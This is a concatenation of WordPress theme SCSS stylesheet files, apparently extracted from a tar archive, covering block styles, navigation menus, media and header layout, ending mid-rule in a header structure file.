media/_media.scss 0000666 00000001453 15111644004 0007741 0 ustar 00 .page-content .wp-smiley,
.entry-content .wp-smiley,
.comment-content .wp-smiley {
border: none;
margin-bottom: 0;
margin-top: 0;
padding: 0;
}
embed,
iframe,
object {
max-width: 100%;
}
.custom-logo-link {
display: inline-block;
}
.avatar {
border-radius: 100%;
display: block;
height: calc(2.25 * #{$size__spacing-unit});
min-height: inherit;
width: calc(2.25 * #{$size__spacing-unit});
}
svg {
transition: fill $icon_transition ease-in-out;
fill: currentColor;
}
/*--------------------------------------------------------------
## Captions
--------------------------------------------------------------*/
@import "captions";
/*--------------------------------------------------------------
## Galleries
--------------------------------------------------------------*/
@import "galleries";
blocks/_blocks.scss 0000666 00000040545 15111644004 0010342 0 ustar 00 /* !Block styles */
.entry .entry-content > *,
.entry .entry-summary > * {
margin: 32px 0;
max-width: 100%;
@include postContentMaxWidth();
@include media(tablet) {
margin: 32px 0;
}
> *:first-child {
margin-top: 0;
}
> *:last-child {
margin-bottom: 0;
}
&.alignwide {
margin-left: auto;
margin-right: auto;
clear: both;
@include media(tablet) {
width: 100%;
max-width: 100%;
}
}
&.alignfull {
position: relative;
left: -#{$size__spacing-unit };
width: calc( 100% + (2 * #{$size__spacing-unit}));
max-width: calc( 100% + (2 * #{$size__spacing-unit}));
clear: both;
@include media(tablet) {
margin-top: calc(2 * #{$size__spacing-unit});
margin-bottom: calc(2 * #{$size__spacing-unit});
left: calc( -12.5% - 75px );
width: calc( 125% + 150px );
max-width: calc( 125% + 150px );
}
}
&.alignleft {
/*rtl:ignore*/
float: left;
max-width: calc(5 * (100vw / 12));
margin-top: 0;
margin-left: 0;
/*rtl:ignore*/
margin-right: $size__spacing-unit;
@include media(tablet) {
max-width: calc(4 * (100vw / 12));
/*rtl:ignore*/
margin-right: calc(2 * #{$size__spacing-unit});
}
}
&.alignright {
/*rtl:ignore*/
float: right;
max-width: calc(5 * (100vw / 12));
margin-top: 0;
margin-right: 0;
/*rtl:ignore*/
margin-left: $size__spacing-unit;
@include media(tablet) {
max-width: calc(4 * (100vw / 12));
margin-right: 0;
/*rtl:ignore*/
margin-left: calc(2 * #{$size__spacing-unit});
}
}
&.aligncenter {
margin-left: auto;
margin-right: auto;
@include postContentMaxWidth();
@include media(tablet) {
margin-left: 0;
margin-right: 0;
}
}
}
/*
* Unset nested content selector styles
* - Prevents layout styles from cascading too deeply
* - helps with plugin compatibility
*/
.entry .entry-content,
.entry .entry-summary {
.entry-content,
.entry-summary,
.entry {
margin: inherit;
max-width: inherit;
padding: inherit;
@include media(tablet) {
margin: inherit;
max-width: inherit;
padding: inherit;
}
}
}
.entry .entry-content {
//! Paragraphs
p.has-background {
padding: 20px 30px;
}
//! Audio
.wp-block-audio {
width: 100%;
audio {
width: 100%;
}
&.alignleft audio,
&.alignright audio {
max-width: (0.33 * $mobile_width);
@include media(tablet) {
max-width: (0.5 * $tablet_width);
}
@include media(wide) {
max-width: (0.33 * $desktop_width);
}
}
}
//! Video
.wp-block-video {
video {
width: 100%;
}
}
//! Button
.wp-block-button {
.wp-block-button__link {
@include button-transition;
border: none;
font-size: $font__size-sm;
font-family: $font__heading;
line-height: $font__line-height-heading;
box-sizing: border-box;
font-weight: bold;
text-decoration: none;
padding: ($size__spacing-unit * .76) $size__spacing-unit;
outline: none;
outline: none;
&:not(.has-background) {
background-color: $color__background-button;
}
&:not(.has-text-color) {
color: white;
}
&:hover {
color: white;
background: $color__background-button-hover;
cursor: pointer;
}
&:focus {
color: white;
background: $color__background-button-hover;
outline: thin dotted;
outline-offset: -4px;
}
}
&:not(.is-style-squared) .wp-block-button__link {
border-radius: 5px;
}
&.is-style-outline .wp-block-button__link,
&.is-style-outline .wp-block-button__link:focus,
&.is-style-outline .wp-block-button__link:active {
@include button-all-transition;
border-width: 2px;
border-style: solid;
&:not(.has-background) {
background: transparent;
}
&:not(.has-text-color) {
color: $color__background-button;
border-color: currentColor;
}
}
&.is-style-outline .wp-block-button__link:hover {
color: white;
border-color: $color__background-button-hover;
}
}
//! Latest posts, categories, archives
.wp-block-archives,
.wp-block-categories,
.wp-block-latest-posts {
padding: 0;
list-style: none;
li {
color: $color__text-light;
font-family: $font__heading;
font-size: calc(#{$font__size_base} * #{$font__size-ratio});
font-weight: bold;
line-height: $font__line-height-heading;
padding-bottom: ( .75 * $size__spacing-unit );
&.menu-item-has-children,
&:last-child {
padding-bottom: 0;
}
a {
text-decoration: none;
}
}
}
.wp-block-archives,
.wp-block-categories {
&.aligncenter {
text-align: center;
}
}
//! Latest categories
.wp-block-categories {
ul {
padding-top: ( .75 * $size__spacing-unit );
}
li ul {
list-style: none;
padding-left: 0;
}
@include nestedSubMenuPadding();
}
//! Latest posts grid view
.wp-block-latest-posts.is-grid {
li {
border-top: 2px solid $color__border;
padding-top: (1 * $size__spacing-unit);
margin-bottom: (2 * $size__spacing-unit);
a {
&:after {
content: '';
}
}
&:last-child {
margin-bottom: auto;
a:after {
content: '';
}
}
}
}
//! Latest preformatted text
.wp-block-preformatted {
font-size: $font__size-xs;
line-height: 1.8;
padding: $size__spacing-unit;
}
//! Verse
.wp-block-verse {
font-family: $font__body;
font-size: $font__size_base;
line-height: 1.8;
}
//! Paragraphs
.has-drop-cap {
&:not(:focus):first-letter {
font-family: $font__heading;
font-size: $font__size-xxxl;
line-height: 1;
font-weight: bold;
margin: 0 0.25em 0 0;
}
}
//! Pullquote
.wp-block-pullquote {
border-color: transparent;
border-width: 2px;
padding: $size__spacing-unit;
blockquote {
color: $color__text-main;
border: none;
margin-top: calc(4 * #{ $size__spacing-unit});
margin-bottom: calc(4.33 * #{ $size__spacing-unit});
margin-right: 0;
padding-left: 0;
}
p {
font-size: $font__size-lg;
font-style: italic;
line-height: 1.3;
margin-bottom: 0.5em;
margin-top: 0.5em;
em {
font-style: normal;
}
@include media(tablet) {
font-size: $font__size-xl;
}
}
cite {
display: inline-block;
font-family: $font__heading;
line-height: 1.6;
text-transform: none;
color: $color__text-light;
/*
* This requires a rem-based font size calculation instead of our normal em-based one,
* because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
*/
font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
}
&.alignleft,
&.alignright {
width: 100%;
padding: 0;
blockquote {
margin: $size__spacing-unit 0;
padding: 0;
text-align: left;
max-width: 100%;
p:first-child {
margin-top: 0;
}
}
}
&.is-style-solid-color {
background-color: $color__link;
padding-left: 0;
padding-right: 0;
@include media(tablet) {
padding-left: 10%;
padding-right: 10%;
}
p {
font-size: $font__size-lg;
line-height: 1.3;
margin-bottom: 0.5em;
margin-top: 0.5em;
@include media(tablet) {
font-size: $font__size-xl;
}
}
a {
color: $color__background-body;
}
cite {
color: inherit;
}
blockquote {
max-width: 100%;
color: $color__background-body;
padding-left: 0;
margin-left: $size__spacing-unit;
margin-right: $size__spacing-unit;
&.has-text-color p,
&.has-text-color a,
&.has-primary-color,
&.has-secondary-color,
&.has-dark-gray-color,
&.has-light-gray-color,
&.has-white-color {
color: inherit;
}
@include media(tablet) {
margin-left: 0;
margin-right: 0;
}
}
&.alignright,
&.alignleft {
@include media(tablet) {
padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
}
}
&.alignfull {
@include media(tablet) {
padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));
}
}
}
}
//! Blockquote
.wp-block-quote {
&:not(.is-large),
&:not(.is-style-large) {
border-left: 2px solid $color__link;
padding-top: 0;
padding-bottom: 0;
}
p {
font-size: 1em;
font-style: normal;
line-height: 1.8;
}
cite {
/*
* This requires a rem-based font size calculation instead of our normal em-based one,
* because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
*/
font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
}
&.is-large,
&.is-style-large {
margin: $size__spacing-unit 0;
padding: 0;
border-left: none;
p {
font-size: $font__size-lg;
line-height: 1.4;
font-style: italic;
}
cite,
footer {
/*
* This requires a rem-based font size calculation instead of our normal em-based one,
* because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
*/
font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
}
@include media(tablet) {
margin: $size__spacing-unit 0;
padding: $size__spacing-unit 0;
p {
font-size: $font__size-lg;
}
}
}
}
//! Image
.wp-block-image {
img {
display: block;
}
&.alignleft,
&.alignright {
max-width: 100%;
}
&.alignfull img {
width: 100vw;
@include media(tablet) {
margin-left: auto;
margin-right: auto;
}
}
}
//! Cover Image
.wp-block-cover-image,
.wp-block-cover {
position: relative;
min-height: 430px;
padding: $size__spacing-unit;
@include media(tablet) {
padding: $size__spacing-unit 10%;
}
.wp-block-cover-image-text,
.wp-block-cover-text,
h2 {
font-family: $font__heading;
font-size: $font__size-lg;
font-weight: bold;
line-height: 1.25;
padding: 0;
color: #fff;
@include media(tablet) {
font-size: $font__size-xl;
max-width: 100%;
}
}
&.alignleft,
&.alignright {
width: 100%;
@include media(tablet) {
padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
}
}
&.alignfull {
.wp-block-cover-image-text,
.wp-block-cover-text,
h2 {
@include postContentMaxWidth();
}
@include media(tablet) {
padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));
.wp-block-cover-image-text,
.wp-block-cover-text,
h2 {
padding: 0;
}
}
}
}
//! Galleries
.wp-block-gallery {
list-style-type: none;
padding-left: 0;
.blocks-gallery-image:last-child,
.blocks-gallery-item:last-child {
margin-bottom: 16px;
}
figcaption a {
color: #fff;
}
}
//! Captions
.wp-block-audio figcaption,
.wp-block-video figcaption,
.wp-block-image figcaption,
.wp-block-gallery .blocks-gallery-image figcaption,
.wp-block-gallery .blocks-gallery-item figcaption {
font-size: $font__size-xs;
font-family: $font__heading;
line-height: $font__line-height-pre;
margin: 0;
padding: ( $size__spacing-unit * .5 );
text-align: center;
}
//! Separator
.wp-block-separator,
hr {
background-color: $color__text-light;
border: 0;
height: 2px;
margin-bottom: (2 * $size__spacing-unit);
margin-top: (2 * $size__spacing-unit);
max-width: 2.25em;
text-align: left;
&.is-style-wide {
max-width: 100%;
@include postContentMaxWidth();
}
&.is-style-dots {
max-width: 100%;
@include postContentMaxWidth();
background-color: inherit;
border: inherit;
height: inherit;
text-align: center;
&:before {
color: $color__text-light;
font-size: $font__size-lg;
letter-spacing: $font__size-sm;
padding-left: $font__size-sm;
}
}
/* Remove duplicate rule-line when a separator
* is followed by an H1, or H2 */
& + h1,
& + h2 {
&:before {
display: none;
}
}
}
//! Twitter Embed
.wp-block-embed-twitter {
word-break: break-word;
}
//! Table
.wp-block-table {
th,
td {
border-color: $color__text-light;
}
}
//! File
.wp-block-file {
font-family: $font__heading;
.wp-block-file__button {
display: table;
@include button-transition;
border: none;
border-radius: 5px;
background: $color__background-button;
font-size: $font__size-base;
font-family: $font__heading;
line-height: $font__line-height-heading;
text-decoration: none;
font-weight: bold;
padding: ($size__spacing-unit * .75) $size__spacing-unit;
color: #fff;
margin-left: 0;
margin-top: calc(0.75 * #{$size__spacing-unit});
@include media(desktop) {
font-size: $font__size-base;
padding: ($size__spacing-unit * .875) ($size__spacing-unit * 1.5);
}
&:hover {
background: $color__background-button-hover;
cursor: pointer;
}
&:focus {
background: $color__background-button-hover;
outline: thin dotted;
outline-offset: -4px;
}
}
}
//! Code
.wp-block-code {
border-radius: 0;
code {
font-size: $font__size-md;
white-space: pre-wrap;
word-break: break-word;
}
}
//! Columns
.wp-block-columns {
&.alignfull {
padding-left: $size__spacing-unit;
padding-right: $size__spacing-unit;
}
@include media(mobile) {
flex-wrap: nowrap;
}
@include media(tablet) {
.wp-block-column > * {
&:first-child {
margin-top: 0;
}
&:last-child {
margin-bottom: 0;
}
}
&[class*='has-'] > * {
margin-right: $size__spacing-unit;
&:last-child {
margin-right: 0;
}
}
&.alignfull,
&.alignfull .wp-block-column {
padding-left: calc(2 * #{$size__spacing-unit});
padding-right: calc(2 * #{$size__spacing-unit});
}
}
}
//! Latest Comments
.wp-block-latest-comments {
.wp-block-latest-comments__comment-meta {
font-family: $font__heading;
font-weight: bold;
.wp-block-latest-comments__comment-date {
font-weight: normal;
}
}
.wp-block-latest-comments__comment,
.wp-block-latest-comments__comment-date,
.wp-block-latest-comments__comment-excerpt p {
font-size: inherit;
}
&.has-avatars {
}
&.has-dates {
.wp-block-latest-comments__comment-date {
font-size: $font__size-xs;
}
}
&.has-excerpts {
}
}
//! Font Sizes
.has-small-font-size {
font-size: $font__size-sm;
}
.has-normal-font-size {
font-size: $font__size-md;
}
.has-large-font-size {
font-size: $font__size-lg;
}
.has-huge-font-size {
font-size: $font__size-xl;
}
//! Custom background colors
.has-primary-background-color,
.has-secondary-background-color,
.has-dark-gray-background-color,
.has-light-gray-background-color {
// Use white text against these backgrounds by default.
color: $color__background-body;
p,
h1,
h2,
h3,
h4,
h5,
h6,
a {
color: $color__background-body;
}
}
.has-white-background-color {
color: $color__text-main;
// Use dark gray text against this background by default.
p,
h1,
h2,
h3,
h4,
h5,
h6,
a {
color: $color__text-main;
}
}
.has-primary-background-color,
.wp-block-pullquote.is-style-solid-color.has-primary-background-color {
background-color: $color__link;
}
.has-secondary-background-color,
.wp-block-pullquote.is-style-solid-color.has-secondary-background-color {
background-color: $color__border-link-hover;
}
.has-dark-gray-background-color,
.wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color {
background-color: $color__text-main;
}
.has-light-gray-background-color,
.wp-block-pullquote.is-style-solid-color.has-light-gray-background-color {
background-color: $color__text-light;
}
.has-white-background-color,
.wp-block-pullquote.is-style-solid-color.has-white-background-color {
background-color: #FFF;
}
//! Custom foreground colors
.has-primary-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color p {
color: $color__link;
}
.has-secondary-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color p {
color: $color__border-link-hover;
}
.has-dark-gray-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color p {
color: $color__text-main;
}
.has-light-gray-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color p {
color: $color__text-light;
}
.has-white-color,
.wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
color: #FFF;
}
}
navigation/_menu-footer-navigation.scss 0000666 00000000332 15111644004 0014332 0 ustar 00 /** === Footer menu === */
.footer-navigation {
display: inline;
& > div {
display: inline;
}
.footer-menu {
display: inline;
padding-left: 0;
li {
display: inline;
margin-right: 1rem;
}
}
} navigation/_next-previous.scss 0000666 00000005233 15111644004 0012572 0 ustar 00 /* Next/Previous navigation */
// Singular navigation
.post-navigation {
margin: calc(3 * 1rem) 0;
@include media(tablet) {
margin: calc(3 * 1rem) $size__site-margins;
max-width: calc(6 * (100vw / 12));
}
@include media(desktop) {
margin: calc(3 * 1rem) 0;
max-width: 100%;
}
.nav-links {
margin: 0 $size__spacing-unit;
max-width: 100%;
display: flex;
flex-direction: column;
@include media(tablet) {
margin: 0;
}
@include media(desktop) {
flex-direction: row;
margin: 0 $size__site-margins;
max-width: $size__site-desktop-content;
}
a {
.meta-nav {
color: $color__text-light;
user-select: none;
&:before,
&:after {
display: none;
content: "—";
width: 2em;
color: $color__text-light;
height: 1em;
}
}
.post-title {
hyphens: auto;
}
&:hover {
color: $color__link-hover;
}
}
.nav-previous,
.nav-next {
@include media(desktop) {
min-width: calc(50% - 2 * #{$size__spacing-unit});
}
}
.nav-previous {
order: 2;
@include media(desktop) {
order: 1;
}
+ .nav-next {
margin-bottom: $size__spacing-unit;
}
.meta-nav {
&:before {
display: inline;
}
}
}
.nav-next {
order: 1;
@include media(desktop) {
order: 2;
padding-left: $size__spacing-unit;
}
.meta-nav {
&:after {
display: inline;
}
}
}
}
}
// Index/archive navigation
.pagination {
.nav-links {
display: flex;
flex-wrap: wrap;
padding: 0 calc(.5 * #{$size__spacing-unit});
& > * {
padding: calc(.5 * #{$size__spacing-unit});
&.dots,
&.prev {
padding-left: 0;
}
&.dots,
&.next {
padding-right: 0;
}
}
a:focus {
text-decoration: underline;
outline-offset: -1px;
&.prev,
&.next {
text-decoration: none;
.nav-prev-text,
.nav-next-text {
text-decoration: underline;
}
}
}
.nav-next-text,
.nav-prev-text {
display: none;
}
@include media(tablet) {
margin-left: $size__site-margins;
padding: 0;
.prev,
.next {
& > * {
display: inline-block;
vertical-align: text-bottom;
}
}
& > * {
padding: $size__spacing-unit;
}
}
}
}
// Comments navigation
.comment-navigation {
.nav-links {
display: flex;
flex-direction: row;
}
.nav-previous,
.nav-next {
min-width: 50%;
width: 100%;
font-family: $font__heading;
font-weight: bold;
.secondary-text {
display: none;
@include media(tablet) {
display: inline;
}
}
svg {
vertical-align: middle;
position: relative;
margin: 0 -0.35em;
top: -1px;
}
}
.nav-next {
text-align: right;
}
}
navigation/_menu-main-navigation.scss 0000666 00000017324 15111644004 0013771 0 ustar 00 /** === Main menu === */
.main-navigation {
display: block;
margin-top: #{0.25 * $size__spacing-unit};
body.page & {
display: block;
}
> div {
display: inline;
}
.main-menu {
display: inline-block;
margin: 0;
padding: 0;
> li {
color: $color__link;
display: inline;
position: relative;
> a {
font-weight: 700;
color: $color__link;
margin-right: #{0.5 * $size__spacing-unit};
+ svg {
margin-right: #{0.5 * $size__spacing-unit};
}
&:hover,
&:hover + svg {
color: $color__link-hover;
}
}
&.menu-item-has-children {
display: inline-block;
position: inherit;
@include media(tablet) {
position: relative;
}
> a {
margin-right: #{0.125 * $size__spacing-unit};
}
& > a,
.menu-item-has-children > a {
&:after {
content: "";
display: none;
}
}
.submenu-expand {
display: inline-block;
margin-right: #{0.25 * $size__spacing-unit};
/* Priority+ Menu */
&.main-menu-more-toggle {
position: relative;
height: 24px;
line-height: $font__line-height-heading;
width: 24px;
padding: 0;
margin-left: #{0.5 * $size__spacing-unit};
svg {
height: 24px;
width: 24px;
top: #{-0.125 * $size__spacing-unit};
vertical-align: text-bottom;
}
}
.wp-customizer-unloading &,
&.is-empty {
display: none;
}
svg {
position: relative;
top: 0.2rem;
}
}
}
&:last-child > a,
&:last-child.menu-item-has-children .submenu-expand {
margin-right: 0;
}
}
}
.sub-menu {
background-color: $color__link;
color: $color__background-body;
list-style: none;
padding-left: 0;
position: absolute;
opacity: 0;
left: -9999px;
z-index: 99999;
@include media(tablet) {
width: auto;
min-width: -moz-max-content;
min-width: -webkit-max-content;
min-width: max-content;
}
> li {
display: block;
float: none;
position: relative;
&.menu-item-has-children {
.submenu-expand {
display: inline-block;
position: absolute;
width: calc( 24px + #{$size__spacing-unit} );
right: 0;
top: calc( .125 * #{$size__spacing-unit} );
bottom: 0;
color: white;
line-height: 1;
padding: calc( .5 * #{$size__spacing-unit} );
svg {
top: 0;
}
}
.submenu-expand {
margin-right: 0;
}
@include media(tablet) {
.menu-item-has-children > a {
&:after {
content: "\203a";
}
}
}
}
> a,
> .menu-item-link-return {
color: $color__background-body;
display: block;
line-height: $font__line-height-heading;
padding: calc( .5 * #{$size__spacing-unit} ) calc( 24px + #{$size__spacing-unit} ) calc( .5 * #{$size__spacing-unit} ) $size__spacing-unit;
white-space: nowrap;
&:hover,
&:focus {
background: $color__link-hover;
&:after {
background: $color__link-hover;
}
}
}
> a:empty {
display: none;
}
&.mobile-parent-nav-menu-item {
display: none;
font-size: $font__size-sm;
font-weight: normal;
svg {
position: relative;
top: 0.2rem;
margin-right: calc( .25 * #{$size__spacing-unit} );
}
}
}
}
/*
* Sub-menu styles
*
* :focus-within needs its own selector so other similar
* selectors don’t get ignored if a browser doesn’t recognize it
*/
.main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
display: block;
left: 0;
margin-top: 0;
opacity: 1;
width: auto;
min-width: 100%;
/* Non-mobile position */
@include media(tablet) {
display: block;
margin-top: 0;
opacity: 1;
position: absolute;
left: 0;
right: auto;
top: auto;
bottom: auto;
height: auto;
min-width: -moz-max-content;
min-width: -webkit-max-content;
min-width: max-content;
transform: none;
}
&.hidden-links {
left: 0;
width: 100%;
display: table;
position: absolute;
@include media(tablet) {
right: 0;
left: auto;
display: block;
width: max-content;
}
}
.submenu-expand {
display: none;
}
.sub-menu {
display: block;
margin-top: inherit;
position: relative;
width: 100%;
left: 0;
opacity: 1;
/* Non-mobile position */
@include media(tablet) {
float: none;
max-width: 100%;
}
}
/* Nested sub-menu dashes */
.sub-menu {
counter-reset: submenu;
}
.sub-menu > li > a::before {
font-family: $font__body;
font-weight: normal;
content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
counter-increment: submenu
}
}
.main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
.main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
.main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
display: block;
left: 0;
margin-top: 0;
opacity: 1;
width: auto;
min-width: 100%;
/* Non-mobile position */
@include media(tablet) {
display: block;
float: none;
margin-top: 0;
opacity: 1;
position: absolute;
left: 0;
right: auto;
top: auto;
bottom: auto;
height: auto;
min-width: -moz-max-content;
min-width: -webkit-max-content;
min-width: max-content;
transform: none;
}
&.hidden-links {
left: 0;
width: 100%;
display: table;
position: absolute;
@include media(tablet) {
right: 0;
left: auto;
display: table;
width: max-content;
}
}
.submenu-expand {
display: none;
}
.sub-menu {
display: block;
margin-top: inherit;
position: relative;
width: 100%;
left: 0;
opacity: 1;
/* Non-mobile position */
@include media(tablet) {
float: none;
max-width: 100%;
}
}
/* Nested sub-menu dashes */
.sub-menu {
counter-reset: submenu;
}
.sub-menu > li > a::before {
font-family: $font__body;
font-weight: normal;
content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
counter-increment: submenu
}
}
/**
* Fade-in animation for top-level submenus
*/
.main-menu > .menu-item-has-children:not(.off-canvas):hover > .sub-menu {
animation: fade_in 0.1s forwards;
}
/**
* Off-canvas touch device styles
*/
.main-menu .menu-item-has-children.off-canvas .sub-menu {
.submenu-expand .svg-icon {
transform: rotate(270deg);
}
.sub-menu {
opacity: 0;
position: absolute;
z-index: 0;
transform: translateX(-100%);
}
li:hover,
li:focus,
li > a:hover,
li > a:focus {
background-color: transparent;
}
> li > a,
> li > .menu-item-link-return {
white-space: inherit;
}
&.expanded-true {
display: table;
margin-top: 0;
opacity: 1;
padding-left: 0;
/* Mobile position */
left: 0;
top: 0;
right: 0;
bottom: 0;
position: fixed;
z-index: 100000; /* Make sure appears above mobile admin bar */
width: 100vw;
height: 100vh;
max-width: 100vw;
transform: translateX(+100%);
animation: slide_in_right 0.3s forwards;
> .mobile-parent-nav-menu-item {
display: block;
}
/* Prevent menu from being blocked by admin bar */
.admin-bar & {
top: 46px;
height: calc( 100vh - 46px );
.sub-menu.expanded-true {
top: 0;
}
/* WP core breakpoint */
@media only screen and ( min-width: 782px ) {
top: 32px;
height: calc( 100vh - 32px );
.sub-menu.expanded-true {
top: 0;
}
}
}
}
}
// Hide duplicate menu-more-link when re-loading a menu in the customizer
.main-menu-more {
&:nth-child(n+3) {
display: none;
}
}
}
/* Menu animation */
@keyframes slide_in_right {
100% {
transform: translateX(0%);
}
}
@keyframes fade_in {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
navigation/_navigation.scss 0000666 00000001073 15111644004 0012077 0 ustar 00 /*--------------------------------------------------------------
## Links
--------------------------------------------------------------*/
@import "links";
/*--------------------------------------------------------------
## Menus
--------------------------------------------------------------*/
@import "menu-main-navigation";
@import "menu-social-navigation";
@import "menu-footer-navigation";
/*--------------------------------------------------------------
## Next / Previous
--------------------------------------------------------------*/
@import "next-previous";
navigation/_links.scss 0000666 00000000413 15111644004 0011055 0 ustar 00 a {
@include link-transition;
color: $color__link;
&:visited {
color: $color__link-visited;
}
&:hover,
&:active {
color: $color__link-hover;
outline: 0;
text-decoration: none;
}
&:focus {
outline: thin dotted;
text-decoration: underline;
}
}
navigation/_menu-social-navigation.scss 0000666 00000002235 15111644004 0014312 0 ustar 00 /* Social menu */
.social-navigation {
margin-top: calc(#{$size__spacing-unit} / 2 );
text-align: left;
ul.social-links-menu {
@include clearfix;
display: inline-block;
margin: 0;
padding: 0;
li {
display: inline-block;
vertical-align: bottom;
vertical-align: -webkit-baseline-middle;
list-style: none;
&:nth-child(n+2) {
margin-left: 0.1em;
}
a {
border-bottom: 1px solid transparent;
display: block;
color: $color__text-main;
margin-bottom: -1px;
transition: opacity $link_transition ease-in-out;
&:hover,
&:active {
color: $color__text-main;
opacity: 0.6;
}
&:focus {
color: $color__text-main;
opacity: 1;
border-bottom: 1px solid $color__text-main;
}
svg {
display: block;
width: 32px;
height: 32px;
// Prevent icons from jumping in Safari using hardware acceleration.
transform: translateZ(0);
&#ui-icon-link {
transform: rotate(-45deg);
}
}
}
}
}
}
.site-title + .social-navigation,
.site-description + .social-navigation {
@include media(tablet) {
margin-top: calc(#{$size__spacing-unit} / 5 );
}
}
_structure.scss 0000666 00000032062 15112302747 0007651 0 ustar 00 // main: style.scss
/* Header
------------------------------*/
.site-header {
line-height: 75px;
position: relative;
width: 100%;
background: #ffffff;
z-index: 1000;
-webkit-transition: all 1s ease-out; /* Safari */
transition: all 0.5s ease-out;
box-shadow: 0 5px 10px 0 rgba(50, 50, 50, 0.06);
&.header-fixed {
top: 0px;
left: 0px;
position: fixed;
}
.custom-logo-transparent {
display: none;
}
}
.followWrap {
display: block;
}
.header-full-width .container {
max-width: auto;
width: auto;
@include for(medium-screens) {
padding-left: 30px;
padding-right: 30px;
}
}
.is-transparent {
.followWrap {
z-index: 99;
width: 100%;
background: transparent;
position: absolute;
top: 0px;
display: block;
}
.site-header {
background: transparent;
position: fixed;
top: 0px;
&.no-sticky {
position: absolute;
top: auto;
}
&.no-scroll {
box-shadow: none;
.has-t-logo {
.custom-logo-transparent {
display: inline-block;
}
.custom-logo {
display: none;
}
}
#nav-toggle {
span {
background-color: #ffffff;
&::before,
&::after {
background-color: #ffffff;
}
}
&.nav-is-visible {
span {
background-color: transparent;
}
}
}
}
&.header-fixed {
background: #ffffff;
&.no-scroll {
background: transparent;
box-shadow: none;
}
}
}
}
@include for(large-screens) {
.is-transparent .no-scroll.site-header {
.onepress-menu > li > a {
color: rgba(255, 255, 255, 0.9);
}
}
}
.is-transparent .hero-slideshow-fullscreen .hero__content {
@include rem("padding-top", 50px);
}
.site-branding {
float: left;
}
.site-branding {
.site-title,
.site-text-logo {
margin: 0px;
line-height: 1;
font-family: $font_heading;
font-size: 23px;
letter-spacing: 1px;
text-transform: uppercase;
color: #000000;
display: initial;
vertical-align: middle;
font-weight: 600;
&:hover {
text-decoration: none;
}
}
.site-title {
display: inline-block;
}
.site-image-logo {
display: block;
}
.site-logo-div {
line-height: 75px;
}
.no-logo-img.has-desc,
.has-logo-img {
line-height: 60px;
.site-title {
margin-top: -5px;
position: relative;
}
.site-description {
font-size: 12px;
line-height: 14px;
margin-bottom: 0;
position: relative;
top: -15px;
color: #000000;
}
}
}
.home.header-transparent .no-scroll {
.site-brand-inner,
.site-text-logo {
color: #fff;
}
}
.header-social {
margin-left: 0px;
@include for(medium-screens) {
margin-left: 10px;
}
@include for(screens-tiny) {
display: none;
}
a {
display: block;
height: 100%;
float: left;
margin-left: 0px;
margin-top: -2px;
@include for(medium-screens) {
margin-left: 3px;
}
color: $primary;
&:hover {
color: #000000;
transition: all 0.2s linear 0s;
}
}
float: right;
// .fa-stack {
// position: relative;
// display: inline-block;
// width: 2em;
// height: 2em;
// line-height: 2em;
// vertical-align: middle;
// }
.fa-stack-1x,
.fa-stack-2x {
position: absolute;
left: 0;
width: 100%;
text-align: center;
}
.fa-stack-1x {
line-height: inherit;
}
.fa-stack-2x {
font-size: 2em;
}
.fa-inverse {
color: #ffffff;
}
}
.header-btn {
float: right;
}
/* Site Navigation */
.onepress-menu,
.onepress-menu * {
margin: 0;
padding: 0;
list-style: none;
}
// Essential Styles
.onepress-menu {
float: right;
@extend .clearfix !optional;
ul {
position: absolute;
display: none;
top: 100%;
left: 0;
z-index: 99;
}
ul ul {
top: 0;
left: 100%;
}
li {
position: relative;
}
> li {
float: left;
}
li:hover > ul,
li.sfHover > ul {
display: block;
}
a {
display: block;
position: relative;
}
}
// Skin
.onepress-menu {
ul {
min-width: 12em; // allow long menu items to determine submenu width
*width: 12em; //no auto sub width for IE7, see white-space comment below
border: 1px solid $border;
border-top: none;
}
li {
white-space: nowrap; // no need for Supersubs plugin
*white-space: normal; // ...unless you support IE7 (let it wrap)
-webkit-transition: background 0.2s;
transition: background 0.2s;
}
li:hover,
li.sfHover {
// only transition out, not in
-webkit-transition: none;
transition: none;
}
a {
color: #333333;
font-family: $font_heading;
padding-left: 17px;
padding-right: 17px;
font-size: 13px;
font-weight: 600;
text-transform: uppercase;
text-decoration: none;
zoom: 1;
letter-spacing: 1px;
&:hover {
color: $primary;
}
}
ul li {
line-height: 26px;
a {
border-top: 1px solid $border;
padding: 8px 18px;
color: #999999;
font-size: 13px;
text-transform: none;
background: #ffffff;
letter-spacing: 0;
&:hover {
color: $primary;
}
}
}
li.onepress-current-item > a {
color: $primary;
}
ul li.current-menu-item > a {
color: $primary;
}
// Hover & Active
> li:last-child > a {
padding-right: 0px;
}
> li:hover > a {
}
// > li.current-menu-item, > li.current-menu-ancestor {
// > a {
// color: $primary;
// }
// }
> li a.menu-actived {
color: $primary;
}
.nav-toggle-subarrow {
display: none;
}
}
// Responsive Mobile Navigation
#nav-toggle {
display: none;
